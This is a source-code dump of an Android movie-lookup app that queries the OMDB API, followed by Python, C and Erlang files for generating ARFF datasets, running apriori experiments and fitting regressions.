cursor.getString(cursor.getColumnIndex("year")); String poster = cursor.getString(cursor.getColumnIndex("poster")); String released = cursor.getString(cursor.getColumnIndex("released")); String rated = cursor.getString(cursor.getColumnIndex("rated")); String runtime = cursor.getString(cursor.getColumnIndex("runtime")); String genre = cursor.getString(cursor.getColumnIndex("genre")); String plot = cursor.getString(cursor.getColumnIndex("plot")); movie.setId(id); movie.setTitle(title); movie.setYear(year); movie.setPoster(poster); movie.setReleased(released); movie.setRated(rated); movie.setRuntime(runtime); movie.setGenre(genre); movie.setPlot(plot); favorites.add(movie); Log.i("Size: ", "List Size " + favorites.size()); } cursor.close(); return favorites; } } <file_sep>/app/src/main/java/com/napoleao/wikimovie/ui/home/MovieDetailsActivity.java package com.napoleao.wikimovie.ui.home; import androidx.appcompat.app.AppCompatActivity; import androidx.core.widget.NestedScrollView; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.ImageView; import android.widget.ProgressBar; import android.widget.TextView; import android.widget.Toast; import com.google.android.material.floatingactionbutton.FloatingActionButton; import com.napoleao.wikimovie.R; import com.napoleao.wikimovie.api.DataService; import com.napoleao.wikimovie.helper.DAO.SearchDAO; import com.napoleao.wikimovie.helper.OMDBConfig; import com.napoleao.wikimovie.helper.RetrofitConfig; import com.napoleao.wikimovie.model.Movie; import com.squareup.picasso.Picasso; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; import retrofit2.Retrofit; public class MovieDetailsActivity extends AppCompatActivity { private NestedScrollView detailsTexts; private ImageView imagePoster; private TextView textTitle, textYear, textRated, textReleased, textRuntime, textGenre, textPlot; private Movie movie; private ProgressBar progressBar; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.movie_details_colapsed); detailsTexts = findViewById(R.id.detailsTexts); detailsTexts.setVisibility(View.INVISIBLE); progressBar = findViewById(R.id.progressMovieDetails); progressBar.setVisibility(View.VISIBLE); imagePoster = findViewById(R.id.moviePosterCollapsing); textTitle = findViewById(R.id.titleMovie); textYear = findViewById(R.id.yearMovie); textRated = findViewById(R.id.ratedMovie); textReleased = findViewById(R.id.releasedMovie); textRuntime = findViewById(R.id.runtimeMovie); textGenre = findViewById(R.id.genreMovie); textPlot = findViewById(R.id.plotMovie); FloatingActionButton buttonFavorite = findViewById(R.id.btnFavoriteMovie); Bundle intent = getIntent().getExtras(); String movieName = intent.getString("movieName"); String filmYear = intent.getString("movieYear"); Log.d("Search", "MovieName " + movieName); Log.d("Search", "movieYear " + filmYear); movie = (Movie) getIntent().getSerializableExtra("searchObject"); if (movie != null){ mountPreview(); progressBar.setVisibility(View.GONE); detailsTexts.setVisibility(View.VISIBLE); }else { getMovie(movieName, filmYear); } buttonFavorite.setOnClickListener(v -> { SearchDAO searchDAO = new SearchDAO(getApplicationContext()); View view = findViewById(R.id.movieDetailsActivity); searchDAO.save(movie, view); }); } private void urlToImageView(String url){ Picasso.get() .load(url) .fit() .centerCrop() .into(imagePoster); } private void getMovie(String movieName, String movieYear){ String movieTitle = movieName.replaceAll(" ", "+"); Retrofit retrofit = RetrofitConfig.getRetrofit(); DataService dataService = retrofit.create(DataService.class); dataService.getMovieByNameAndYear(movieTitle, movieYear, OMDBConfig.PLOT, OMDBConfig.OMDB_API_KEY).enqueue(new Callback<Movie>() { @Override public void onResponse(Call<Movie> call, Response<Movie> response) { if (response.isSuccessful()) { movie = response.body(); mountPreview(); progressBar.setVisibility(View.GONE); detailsTexts.setVisibility(View.VISIBLE); } } @Override public void onFailure(Call<Movie> call, Throwable t) { Toast.makeText(getApplicationContext(), "Details unavailable!", Toast.LENGTH_LONG).show(); Log.d("Response", "Response: " + t.getMessage()); finish(); } }); } private void mountPreview(){ urlToImageView(movie.getPoster()); textTitle.setText(movie.getTitle()); textYear.setText(movie.getYear()); textRated.setText(movie.getRated()); textReleased.setText(movie.getReleased()); textRuntime.setText(movie.getRuntime()); textGenre.setText(movie.getGenre()); textPlot.setText(movie.getPlot()); } @Override public void onBackPressed() { finish(); super.onBackPressed(); } } <file_sep>/app/src/main/java/com/napoleao/wikimovie/api/DataService.java package com.napoleao.wikimovie.api; import com.napoleao.wikimovie.model.Movie; import com.napoleao.wikimovie.model.MovieResponse; import retrofit2.Call; import retrofit2.http.GET; import retrofit2.http.Query; public interface DataService { /** * Realiza uma requisição de busca à OMDB API. * @param s nome do filme que o usuário deseja buscar. * @param type a API também contém séries, usamos esse atributo para o retorno conter apenas * filmes. * @param apikey chave de acesso a API. * @return lista de filmes com o nome buscado. */ @GET("?") Call<MovieResponse> getMovies( @Query("s") String s, @Query("type") String type, @Query("apikey") String apikey ); /** * Realiza uma requisição individual de busca pelo nome do filme. * @param t nome do filme que o usuário deseja informações. * @param plot define o tamanho da sinopse que desejamos para retorno (full ou short). * @param apikey chave de acesso a API. * @return objeto com as informações do filme buscado. */ @GET("?") Call<Movie> getMovieByName( @Query("t") String t, @Query("plot") String plot, @Query("apikey") String apikey ); /** * Realiza uma requisição individual, porém mais específica, já que podem existir filmes com o * mesmo nome. * @param t nome do filme que o usuário deseja informações. * @param y ano de lançamento do filme. * @param plot define o tamanho da sinopse que desejamos para retorno (full ou short). * @param apikey chave de acesso a API. * @return objeto com as informações do filme buscado. */ @GET("?") Call<Movie> getMovieByNameAndYear( @Query("t") String t, @Query("y") String y, @Query("plot") String plot, @Query("apikey") String apikey ); } <file_sep>/app/src/main/java/com/napoleao/wikimovie/adapter/SearchAdapter.java package com.napoleao.wikimovie.adapter; import android.content.Context; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.TextView; import androidx.annotation.NonNull; import androidx.recyclerview.widget.RecyclerView; import com.napoleao.wikimovie.R; import com.napoleao.wikimovie.model.Movie; import com.squareup.picasso.Picasso; import java.util.List; public class SearchAdapter extends RecyclerView.Adapter<SearchAdapter.MyViewHolder> { private Context context; private List<Movie> movieList; public SearchAdapter(Context context, List<Movie> movieList) { this.context = context; this.movieList = movieList; } /** * Cria a visualização do RecyclerView. * @param parent * @param viewType * @return */ @NonNull @Override public SearchAdapter.MyViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { View itemList = LayoutInflater.from(parent.getContext()).inflate(R.layout.adapter_search, parent, false); return new SearchAdapter.MyViewHolder(itemList); } /** * Exibe os itens da lista no RecyclerView. * @param holder * @param position posição do item na lista. */ @Override public void onBindViewHolder(@NonNull MyViewHolder holder, int position) { final Movie movie = movieList.get(position); String url = movie.getPoster(); Picasso.get() .load(url) .fit() .centerCrop() .into(holder.movieSearchImage); holder.movieSearchTitle.setText(movie.getTitle()); holder.movieSearchYear.setText(movie.getYear()); } /** * * @return quantidade total de itens na lista. */ @Override public int getItemCount() { return movieList.size(); } public class MyViewHolder extends RecyclerView.ViewHolder{ ImageView movieSearchImage; TextView movieSearchTitle, movieSearchYear; public MyViewHolder(@NonNull View itemView) { super(itemView); movieSearchImage = itemView.findViewById(R.id.movieSearchImage); movieSearchTitle = itemView.findViewById(R.id.movieTitleSearch); movieSearchYear = itemView.findViewById(R.id.movieYearSearch); } } } <file_sep>/app/src/main/java/com/napoleao/wikimovie/ui/favorites/FavoritesFragment.java package com.napoleao.wikimovie.ui.favorites; import android.content.Intent; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.Toast; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.appcompat.app.AlertDialog; import androidx.fragment.app.Fragment; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import com.napoleao.wikimovie.R; import com.napoleao.wikimovie.adapter.SearchAdapter; import com.napoleao.wikimovie.helper.DAO.SearchDAO; import com.napoleao.wikimovie.helper.RecyclerItemClickListener; import com.napoleao.wikimovie.model.Movie; import java.util.List; import java.util.Objects; public class FavoritesFragment extends Fragment { private RecyclerView recyclerFavorites; private List<Movie> favorites; @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { return inflater.inflate(R.layout.fragment_favorites, container, false); } @Override public void onViewCreated(@NonNull View view, @Nullable Bundle savedInstanceState) { recyclerFavorites = view.findViewById(R.id.recyclerFavorites); recyclerFavorites.addOnItemTouchListener( new RecyclerItemClickListener(getActivity(), recyclerFavorites, new RecyclerItemClickListener.OnItemClickListener() { @Override public void onItemClick(View view, int position) { Intent it = new Intent(getActivity(), FavoriteMovieActivity.class); it.putExtra("searchObject", favorites.get(position)); startActivity(it); } @Override public void onLongItemClick(View view, int position) { Movie selectedMovie = favorites.get(position); AlertDialog.Builder dialog = new AlertDialog.Builder(Objects.requireNonNull(getActivity())); dialog.setTitle("Delete"); dialog.setMessage("Do you want to delete the movie - " + selectedMovie.getTitle() + "?"); dialog.setPositiveButton("Yes", (dialog1, which) -> { SearchDAO searchDAO = new SearchDAO(getContext()); if (searchDAO.delete(selectedMovie)){ configurarRecyclerView(); Toast.makeText(getContext(), "Success in deleting favorite!", Toast.LENGTH_SHORT).show(); }else{ Toast.makeText(getContext(), "Error deleting bookmark!", Toast.LENGTH_SHORT).show(); } }); dialog.setNegativeButton("No", null); dialog.create(); dialog.show(); } @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { } })); configurarRecyclerView(); super.onViewCreated(view, savedInstanceState); } @Override public void onStart() { configurarRecyclerView(); super.onStart(); } private void configurarRecyclerView() { SearchDAO searchDAO = new SearchDAO(getContext()); favorites = searchDAO.listAll(); //Configurar RecyclerView RecyclerView.LayoutManager layoutManager = new LinearLayoutManager(getContext(), RecyclerView.VERTICAL, false); SearchAdapter searchAdapter = new SearchAdapter(getActivity(), favorites); recyclerFavorites.setLayoutManager(layoutManager); recyclerFavorites.setHasFixedSize(true); recyclerFavorites.setAdapter(searchAdapter); } } <file_sep>/README.md # Wiki-Movie This application was developed in order to exercise the consumption of an API rest, plus the learning of various components of the Android interface. To test this application, you need to use an OMDB (Open Movie Database) KEY. The KEY must be inserted in OMDBConfig class, present in the package: **com.napoleao.wikimovie.helper** <file_sep>/app/src/main/java/com/napoleao/wikimovie/model/MovieResponse.java package com.napoleao.wikimovie.model; import java.util.ArrayList; import java.util.List; /** * Classe responsável por guardar os objetos retornados pela busca da API. * O atributo List<Movie> deve possuir o mesmo nome do retorno da API, senão o retrofit não irá * conseguir recuperar os objetos. */ public class MovieResponse { private List<Movie> Search = new ArrayList<>(); public List<Movie> getSearchList() { return Search; } }
ab515522c2c535191c15a219ea7390129ee20191
[ "Markdown", "Java" ]
8
Java
NapoleaoHerculano/Wiki-Movie
5d4bb106abc4e9d2d34971c99beb9521439f94d9
cbd1fce265e8451672fa38ff10abb13c22fa3167
refs/heads/master
<file_sep># -*- coding: utf-8 -*- """ Created on Thu Oct 17 15:15:59 2013 @author: tjacek """ import math,random class Dataset(object): def __init__(self,size,dim,instances): self.size=size self.dim=dim self.instances=instances def getPoints(self): fun=lambda inst : inst.point return map(fun,self.instances) def getLabels(self): fun=lambda inst : inst.category return map(fun,self.instances) def getDim(self,i): fun=lambda inst:inst.point[i] return map(fun,self.instances) def getAllDims(self): dims=[] for i in range(0,self.dim): dim_i=self.getDim(i) dims.append(dim_i) return dims def dropLast(self): for instance in self.instances: instance.dropLast() self.dim-=1 def separate(self): dataSeries={} for instance in self.instances: cat=instance.getCategory() dataSeries.setdefault(cat,[]) dataSeries[cat].append(instance) for key in dataSeries: rawData=dataSeries[key] dataSeries[key]=Dataset(self.size,self.dim,rawData) return dataSeries def split(self,p): inst1=[] inst2=[] size=float(len(self.instances)) c=0.0 for inst in self.instances: if(p < (c/size)): inst1.append(inst) else: inst2.append(inst) c+=1.0 data1=Dataset(len(inst1),self.dim,inst1) data2=Dataset(len(inst2),self.dim,inst2) return data1,data2 def __str__(self): s="" for instance in self.instances: s+=str(instance) return s class Instance(object): def __init__(self,point,category): self.point=point self.size=len(point) self.category=category def toBool(self): if(self.category>0): return True else: return False def dropLast(self): del self.point[-1] self.size-=1 def getLabel(self): s= str(self.toBool()) return s.lower() def setCategory(self,cat): self.category=cat def getCategory(self): if(type(self.category)==type("s")): return self.category return self.getLabel() def setLabel(self,label): if(label=="true"): self.category=1.0 else: self.category=-1.0 def removeLast(self): self.point.pop(-1) self.size-=1 def __str__(self): s="" for cord in self.point: s+=str(cord)+"," if(self.category!=None): s+= self.getCategory()#self.category else: s=s[:-1] s+="\n" return s def createNewDataset(reduPoints,labels,dim=3): instances=[] size=len(labels) for i in range(0,size): instance=Instance(reduPoints[i],labels[i]) instances.append(instance) return Dataset(size,dim,instances) def createUnlabeledDataset(reduPoints,dim=3): instances=[] for point in reduPoints: instance=Instance(point,None) instances.append(instance) return Dataset(len(reduPoints),dim,instances) def generateDataset(n,dim,pred,scale=10): seq=randomSeq(n,dim,scale) instances=classification(seq,pred) return Dataset(n,dim,instances) def randomSeq(n=10,dim=3,scale=1.0): rList=[] dist=getUniformDist(scale) for i in range(0,n): rList.append(randomPoint(dist,dim)) return rList def randomPoint(dist,dim=3): point=[] for i in range(0,dim): point.append(dist()) return point def r(x,y): return math.sqrt(x*x + y*y) def uniform(scale=1.0,a=0.0,b=1.0): return scale * random.uniform(a,b) def getUniformDist(scale,a=0.0,b=1.0): return lambda : uniform(scale,a,b) def classification(seq,pred): rawInstances=[] for point in seq: category=pred(point) instance=Instance(point,category) rawInstances.append(instance) return rawInstances def linearPredict(point): if(sum(point)>10.0): return 1.0 else: return 0.0 def nonLinearPredict(point): #sqr=list(map(lambda x:x*x,point)) #sqr=sum(sqr) x=0.2*point[0] y=0.2*point[1] if(0.5*x*x>y): return 1.0 else: return 0.0 def box(point): boxes=list(map(lambda x:int(x>5.0),point)) parity= sum(boxes) % 2 return float(parity) def sphere(point): point=map(lambda x:0.2*x-1.0,point) dist=sum(map(lambda x:x*x,point)) if(math.sqrt(dist)<1.41): return 1.0 else: return 0.0 def layers(point): dist=sum(map(lambda x:x*x,point)) if(math.sqrt(dist)<3.0): return "cat1" if(math.sqrt(dist)<10.0): return "cat2" return "cat3" predDir ={ "Linear":linearPredict,"NonLinear":nonLinearPredict, "Box":box,"Sphere":sphere,"Layers":layers} <file_sep>import numpy as np import scipy.stats as stats,math import matplotlib.pyplot as plt def getCorl(): x=getX(50) a,b=getY(x) return stats.pearsonr(a,b)[0] def getY(x): a=map(lambda x:math.sin(x),x) b=map(lambda x:math.cos(x),x) return a,b def getX(n): l=[] for i in range(0,n): l.append(i*0.3) return l def visualize(): ax = plt.figure() # ax = fig.add_subplot(111, projection='2d') x=getX(50) a,b=getY(x) fig = plt.figure(1) plot = plt.scatter(x , a,alpha=0.75,c='b') plot = plt.scatter(x , b,alpha=0.75,c='r') plt.show() print(visualize()) <file_sep>#include <stdlib.h> typedef struct seq{ double * array; int n; } seq; seq * makeSeq(int n){ seq * x=(seq *) malloc(sizeof(seq)); x->n=n; x->array=(double*) malloc(n*sizeof(double)); int i; for(i=0;i<x->n;i++){ x->array[i]=0.0; } return x; } double sum(seq * x){ double s=0.0; int i; for(i=0;i<x->n;i++){ s+=x->array[i]; } return s; } <file_sep>#include <stdio.h> #include <stdlib.h> #include "lsm_details.c" #include <math.h> Vector * learn(Samples * s,double alpha,double maxErr); double mse(Vector * theta,Samples * samples); double applyRegression(Vector * theta,Vector * x); void train(Vector * theta,Samples * samples,double alpha); double gradient(Vector * theta,Samples * samples,int j); Vector * learn(Samples * s,double alpha,double maxErr){ Vector * theta=makeVector(s->n); int iter=0; int maxIter=10000000; double error=maxErr+1.0; do{ if(iter>maxIter){ printf(" %d",iter); break; } //if(maxIter % 1000){ //} //printf(" %f",mse(theta,s)); //printVector(theta); train(theta,s,alpha); iter++; double error=mse(theta,s); printf(" %d %f\n",iter,error); }while(error>maxErr); return theta; } double mse(Vector * theta,Samples * samples){ double serror=0.0; for(int i=0;i<samples->k;i++){ Sample * s=samples->s[i]; double predY=applyRegression(theta,s->x); double diff = predY - s->y; serror+= diff*diff; } double k=(double)samples->k; serror=serror/k; return sqrt(serror); } double applyRegression(Vector * theta,Vector * x){ double value=0.0; for(int i=0;i<x->n;i++){ value+=x->data[i]* theta->data[i]; } return value; } void train(Vector * theta,Samples * samples,double alpha){ for(int j=0;j<theta->n;j++){ theta->data[j]-= alpha * gradient(theta,samples,j); } } double gradient(Vector * theta,Samples * samples,int j){ double grad=0.0; for(int i=0;i<samples->k;i++){ Sample * s=samples->s[i]; double trueY=s->y; double predY=applyRegression(theta,s->x); grad+= (predY-trueY) * s->x->data[j]; } double k= (double) samples->k; grad= (2.0/k) * grad; return grad; } <file_sep>#include "erl_interface.h" #include "ei.h" #include "listFun.c" typedef unsigned char byte; static seq * x; static int k; int crt(int n){ x=makeSeq(n); return 1; } int add(int value){ if(k<x->n){ k++; x->array[k]=(double) value; } return (int) sum(x); } int callFunction(ETERM *fnp,ETERM *argp){ if(strncmp(ERL_ATOM_PTR(fnp), "crt", 3) == 0) { return crt(ERL_INT_VALUE(argp)); } if (strncmp(ERL_ATOM_PTR(fnp), "add", 17) == 0) { return add(ERL_INT_VALUE(argp)); } return 0; } int main() { ETERM *tuplep, *intp; ETERM *fnp, *argp; int res; byte buf[100]; long allocated, freed; erl_init(NULL, 0); while (read_cmd(buf) > 0) { tuplep = erl_decode(buf); fnp = erl_element(1, tuplep); argp = erl_element(2, tuplep); res=callFunction(fnp,argp); intp = erl_mk_int(res); erl_encode(intp, buf); write_cmd(buf, erl_term_len(intp)); erl_free_compound(tuplep); erl_free_term(fnp); erl_free_term(argp); erl_free_term(intp); } } <file_sep>import sys,os,time import arffConverter as arff,callApriori as call def createDataset(filename,dirName): items=getFilenames(dirName) results=experiments(items) arff.saveArffFile(results,None,filename) def getFilenames(dirName): items = [ f for f in os.listdir(dirName)] currDir=os.getcwd() items=map(lambda x: currDir+"/"+dirName+"/"+x,items) return filter(isTransaction,items) def isTransaction(filename): return filename.split(".")[1]=="data" def experiments(datasets): results={} i=0 for datasetName in datasets: print("Dataset " + str(i) +"\n") expsForDataset=[] minSup=[0.1,0.4,0.8] minConf=[0.2,0.4,0.7] items=[1,2] dataset_workers=[1,2] args=getArguments(datasetName,minSup,minConf,items,dataset_workers) for params in args: time=execute(params,datasetName) params.time=time expsForDataset.append(params) results[datasetName]=expsForDataset i+=1 return results def getArguments(name,minSupValues,minConfValues,workers1,workers2): paramsList=[] for minSup in minSupValues: for minConf in minConfValues: for worker1 in workers1: for worker2 in workers2: param=AlgParametrs(name,minSup,minConf,worker1,worker2) paramsList.append(param) return paramsList class AlgParametrs(object): def __init__(self,name,minSup,minConf,datasetWorkers,itemsWorkers,time=0.0): self.name=name self.minSup=minSup self.minConf=minConf self.datasetWorkers=int(datasetWorkers) self.itemsWorkers=int(itemsWorkers) self.time=time def __str__(self): s=str(self.minSup)+"," s+=str(self.minConf)+"," s+=str(self.datasetWorkers)+"," s+=str(self.itemsWorkers)+"," s+=str(self.time)+"\n" return s def getTime(): return int(round(time.time() * 1000)) def execute(params,Dataset,path="/root/ML2/"): cmd ="erl -pa " + path +" -run apriori_cyclic extCall " MinSup=str(params.minSup) MinConf=str(params.minConf) WorkersDataset=str(params.datasetWorkers) WorkersItems=str(params.itemsWorkers) #Dataset=data postfix=" -run init stop -noshell" cmd+=MinSup + " " + MinConf +" " +WorkersDataset+" " +WorkersItems +" " cmd+=Dataset + postfix time1=getTime() os.system(cmd) time2=getTime() time =time2-time1 return time if __name__ == '__main__': createDataset(sys.argv[1],sys.argv[2]) <file_sep>import arff,sys,math,os def discretize(path,filename,category,categories): dataset,attr=arff.parseArff(filename,True) for instance in dataset.instances: y=getPredVar(instance) cat=category(y) instance.removeLast() instance.setCategory(cat) print(cat +" "+instance.getCategory()) dataset.dim-=1 disc_filename=filename.replace(".arff","_disc.arff") arff.saveArff(dataset,path,disc_filename,disc_filename,categories) return disc_filename def getPredVar(instance): return instance.point[instance.size-1] def orderOfMagnidude(t,maxOrder=5): order=int(math.log(t,10))-3 if(order<0): return orderCat(0) if(order>maxOrder): return orderCat(maxOrder) return orderCat(order) def getMagnidudeCategories(n=5): cats=[] for i in range(0,n+1): cats.append(orderCat(i)) return cats def orderCat(i): return "order"+str(i) def interval(t,order=4,maxIterval=4): order=math.pow(10.0,order) inter=int((maxIterval* t) / order) if(inter>maxIterval): inter=maxIterval return "interval"+str(inter) def getIntervalCategories(n=4): cats=[] for i in range(0,n+1): cats.append("interval"+str(i)) return cats <file_sep># -*- coding: utf-8 -*- """ Created on Thu Dec 26 19:05:45 2013 @author: tjacek """ import numpy as np import mlpy,histogram as hist import matplotlib.pyplot as plt import representation as rep class BOW(): def __init__(self): self.bowDict={} self.items={} def add(self,item): if(not self.contain(item)): index=self.size() self.bowDict[item]=index self.items[index]=1 else: index=self.bowDict[item] self.items[index]+=1 def contain(self,item): return self.bowDict.get(item)!=None def size(self): return len(self.bowDict.keys()) def getItems(self): itemList=[] for i in range(0,self.size()): itemList.append(self.items[i]) return itemList def toVector(self,transaction): vector=np.zeros(self.size()) for item in transaction: index=self.bowDict[item] vector[index]=1.0 return vector def addAll(self,dataset): for transaction in dataset: for item in transaction: self.add(item) def createBow(dataset): bowRep=BOW() bowRep.addAll(dataset) return bowRep def toVectors(dataset): bowRep=createBow(dataset) vectors=[] for transaction in dataset: vectors.append(bowRep.toVector(transaction)) return vectors def toMatrix(data): return np.asarray(data) def dimReduction(vectors,k=2): x=toMatrix(vectors) pca=mlpy.PCA() pca.learn(x) return pca.transform(x, k) def get2DBow(dataset): vectors=toVectors(dataset) return dimReduction(vectors) def visualization(x): fig = plt.figure(1) plot = plt.scatter(x[:,0],x[:,1],alpha=0.75) plt.show() return plot def itemStats(dataset): bowRep=createBow(dataset) numList=bowRep.getItems() avg=rep.avarage(numList) var=rep.std(numList) return avg,var def getPlot(path): dataset=rep.readDataset(path) vectors=get2DBow(dataset) return visualization(vectors) def getStats(items): stats={} for item in items: print(item) h=getHistogram(item) stats[item]=extracVar(h) return stats def getHistogram(filename): dataset=rep.readDataset(filename) vectors=get2DBow(dataset) return hist.Histogram(vectors) pcaStats =["mediana_pca","max_pca","var_pca","avg_pca"] def toStr(stats): s="" s+=str(stats["mediana_pca"])+"," #s+=str(stats["min_pca"])+"," s+=str(stats["max_pca"])+"," s+=str(stats["var_pca"])+"," s+=str(stats["avg_pca"])+"," return s def extracVar(h): variables={} variables["mediana_pca"]=round(h.mediana(),2) #variables["min_pca"]=round(h.minValue(),2) variables["max_pca"]=round(h.maxValue(),2) variables["var_pca"]=round(h.var(),2) variables["avg_pca"]=round(h.u,2) return variables def test(path="/home/user/Desktop/magisterka/transactions/mine_data"): h=getHistogram(path) print(h.mediana()) #dataset=rep.readDataset(path) #vectors=get2DBow(dataset) #print(vectors) #visualization(vectors) def test2(path="datasets/mine.data"): dataset=rep.readDataset(path) avg,var=itemStats(dataset) print(avg) print(var) if __name__ == '__main__': test("datasets/default.data") <file_sep>import sys, os,representation as rep from PyQt4 import QtCore,QtGui class DetailWindow(QtGui.QMainWindow): def __init__(self, data,parent=None): QtGui.QMainWindow.__init__(self, parent) self.path=data self.createMainWindow() def createMainWindow(self): self.constants() self.resize(self.x,self.y) widget = self.initWidget() self.initLayout(widget) self.initNumeric() def constants(self): self.title='Apriori dataset generator' self.ends=".data" self.margin=5.0 self.x=500.0 self.y=300.0 def initWidget(self): widget = QtGui.QWidget(self) widget.setGeometry(QtCore.QRect(0, 0, self.x, self.y)) return widget def initLayout(self,widget): direction=QtGui.QBoxLayout.TopToBottom self.layout=QtGui.QBoxLayout(direction) widget.setLayout(self.layout) def initNumeric(self): numerics = QtGui.QWidget() formLayout=QtGui.QFormLayout() numerics.setLayout(formLayout) self.layout.addWidget(numerics) self.addAll(formLayout) def addAll(self,layout): dataset= rep.getStats(self.path) for name in rep.getAttributes(): value=dataset[name] self.addField(name,value,layout) def addField(self,name,value,layout): text = QtGui.QTextEdit() text.setMaximumSize(400,40); text.append(str(value)) layout.addRow(name,text) def showDetails(data="datasets/mine.data"): app = QtGui.QApplication(sys.argv) w = DetailWindow(data) w.move(300, 300) w.show() sys.exit(app.exec_()) if __name__ == '__main__': showDetails() <file_sep>import sys, os,arff,ClassiferGenerator as gen import Visualization as vis,utils from PyQt4 import QtCore,QtGui class MainWindow(QtGui.QMainWindow): def __init__(self, parent=None): QtGui.QMainWindow.__init__(self, parent) self.init() def init(self): self.createMainWindow() widget = self.initWidget() self.initLayout(widget) self.initList(widget) self.initInputs() self.initComboBox() self.initButtons() def createMainWindow(self): self.constants() self.textFields={} self.button={} self.setWindowTitle(self.title) self.resize(self.x,self.y) def constants(self): self.title='Arff dataset generator' self.ends=".arff" self.path="/home/user/Desktop/magisterka/apriori" self.margin=5.0 self.x=500.0 self.y=500.0 def initWidget(self): widget = QtGui.QWidget(self) widget.setGeometry(QtCore.QRect(0, 0, self.x, self.y)) return widget def initLayout(self,widget): direction=QtGui.QBoxLayout.TopToBottom self.layout=QtGui.QBoxLayout(direction) widget.setLayout(self.layout) def initList(self,widget): self.listWidget = QtGui.QListWidget(widget) x0=self.x y0=0.6*self.y self.listWidget.resize(x0,y0) self.layout.addWidget(self.listWidget); def initButtons(self): return None def initInputs(self): return None def initComboBox(): return None def addButton(self,name,listener): button = QtGui.QPushButton(name, self) button.clicked.connect(listener) self.button[name]=button return button def addField(self,name,default,layout): text = QtGui.QTextEdit() text.append(default) text.setMaximumSize(400,40); self.textFields[name]=text layout.addRow(name,text) def getInput(self,name): field=self.textFields[name] return field.toPlainText() def getCurrentDataset(self): return str(self.listWidget.currentItem().text()) class ArffWindow(MainWindow): def __init__(self, parent=None): MainWindow.__init__(self, parent) self.searchButton() def initButtons(self): self.buttons = QtGui.QWidget() direction=QtGui.QBoxLayout.LeftToRight buttonsLayout = QtGui.QBoxLayout(direction) searchButton = self.addButton("search",self.searchButton) showButton = self.addButton("show",self.showButton) createButton = self.addButton("create",self.createButton) runButton = self.addButton("run",self.runButton) buttonsLayout.addWidget(searchButton) buttonsLayout.addWidget(showButton) buttonsLayout.addWidget(createButton) buttonsLayout.addWidget(runButton) self.buttons.setLayout(buttonsLayout) self.layout.addWidget(self.buttons) def initInputs(self): inputs = QtGui.QWidget() inputs.resize(300,400) formLayout=QtGui.QFormLayout() self.addField("Path",self.path,formLayout) self.addField("Filename","data.arff",formLayout) self.addField("Numbers of point","100",formLayout) self.addField("Numbers of dim","2",formLayout) inputs.setLayout(formLayout) self.layout.addWidget(inputs) def initComboBox(self): self.initAlgs() self.initGens() def showButton(self): filename=self.getCurrentDataset() dataset,attr=arff.parseArff(filename) vis.visualizeLabels(dataset) def createButton(self): self.updatePath() filename=self.getInput("Filename") n=int(self.getInput("Numbers of point")) dim=int(self.getInput("Numbers of dim")) predName=str(self.gen_combo.currentText()) pred=gen.predDir[predName] instances=gen.generateDataset(n,dim,pred) arff.saveSplitedArff(instances,self.path,filename) self.searchButton() def runButton(self): filename=self.getCurrentDataset() algName=str(self.alg_combo.currentText()) utils.execute(algName,filename) self.searchButton() def searchButton(self): self.updatePath() self.listWidget.clear() sender = self.sender() for root, dirs, files in os.walk(self.path): for file in files: if file.endswith(self.ends): try: path = os.path.join(root, file).encode('utf-8') self.listWidget.addItem(path) except: pass def updatePath(self): self.path=str(self.getInput("Path")) def initAlgs(self): self.alg_combo = QtGui.QComboBox() for alg in utils.algorithms: self.alg_combo.addItem(alg) self.layout.addWidget(self.alg_combo) def initGens(self): self.gen_combo = QtGui.QComboBox() generators = ["Linear", "Nonlinear"] for generator in gen.predDir.keys(): self.gen_combo.addItem(generator) self.layout.addWidget(self.gen_combo) def main(): app = QtGui.QApplication(sys.argv) w = ArffWindow() w.move(300, 300) w.show() sys.exit(app.exec_()) if __name__ == '__main__': main() <file_sep>import sys, os,bow,details,callApriori,arffConverter as arff from PyQt4 import QtCore,QtGui class MainWindow(QtGui.QMainWindow): def __init__(self, parent=None): QtGui.QMainWindow.__init__(self, parent) self.createMainWindow() def createMainWindow(self): self.constants() self.textFields={} self.setWindowTitle(self.title) self.resize(self.x,self.y) widget = self.initWidget() self.initLayout(widget) self.initList(widget) self.initInputs() self.initButtons() def constants(self): self.title='Apriori dataset generator' self.ends=".data" self.path="/home/user/Desktop/magisterka/apriori/transactions/dataset1/" self.margin=5.0 self.x=600.0 self.y=600.0 def initWidget(self): widget = QtGui.QWidget(self) widget.setGeometry(QtCore.QRect(0, 0, self.x, self.y)) return widget def initLayout(self,widget): direction=QtGui.QBoxLayout.TopToBottom self.layout=QtGui.QBoxLayout(direction) widget.setLayout(self.layout) def initList(self,widget): self.listWidget = QtGui.QListWidget(widget) x0=self.x y0=0.6*self.y self.listWidget.resize(x0,y0) self.layout.addWidget(self.listWidget); def initInputs(self): inputs = QtGui.QWidget() inputs.resize(500,400) formLayout=QtGui.QFormLayout() self.addField("Path",self.path,formLayout) self.addField("Output file","apriori_pca.arff",formLayout) self.addField("lower MinSup","0.3",formLayout) self.addField("upper MinSup","0.7",formLayout) self.addField("lower MinConf","0.3",formLayout) self.addField("upper MinConf","0.7",formLayout) self.addField("lower Workers","1",formLayout) self.addField("upper Workers","2",formLayout) inputs.setLayout(formLayout) self.layout.addWidget(inputs) self.initCombo() def initButtons(self): self.buttons = QtGui.QWidget() direction=QtGui.QBoxLayout.LeftToRight buttonsLayout = QtGui.QBoxLayout(direction) searchButton = self.addButton("search",self.searchButton) showButton = self.addButton("stats",self.showButton) pcaButton = self.addButton("pca",self.pcaButton) runButton = self.addButton("run",self.runButton) buttonsLayout.addWidget(searchButton) buttonsLayout.addWidget(showButton) buttonsLayout.addWidget(pcaButton) buttonsLayout.addWidget(runButton) self.buttons.setLayout(buttonsLayout) self.layout.addWidget(self.buttons) def initCombo(self): self.attr_combo = 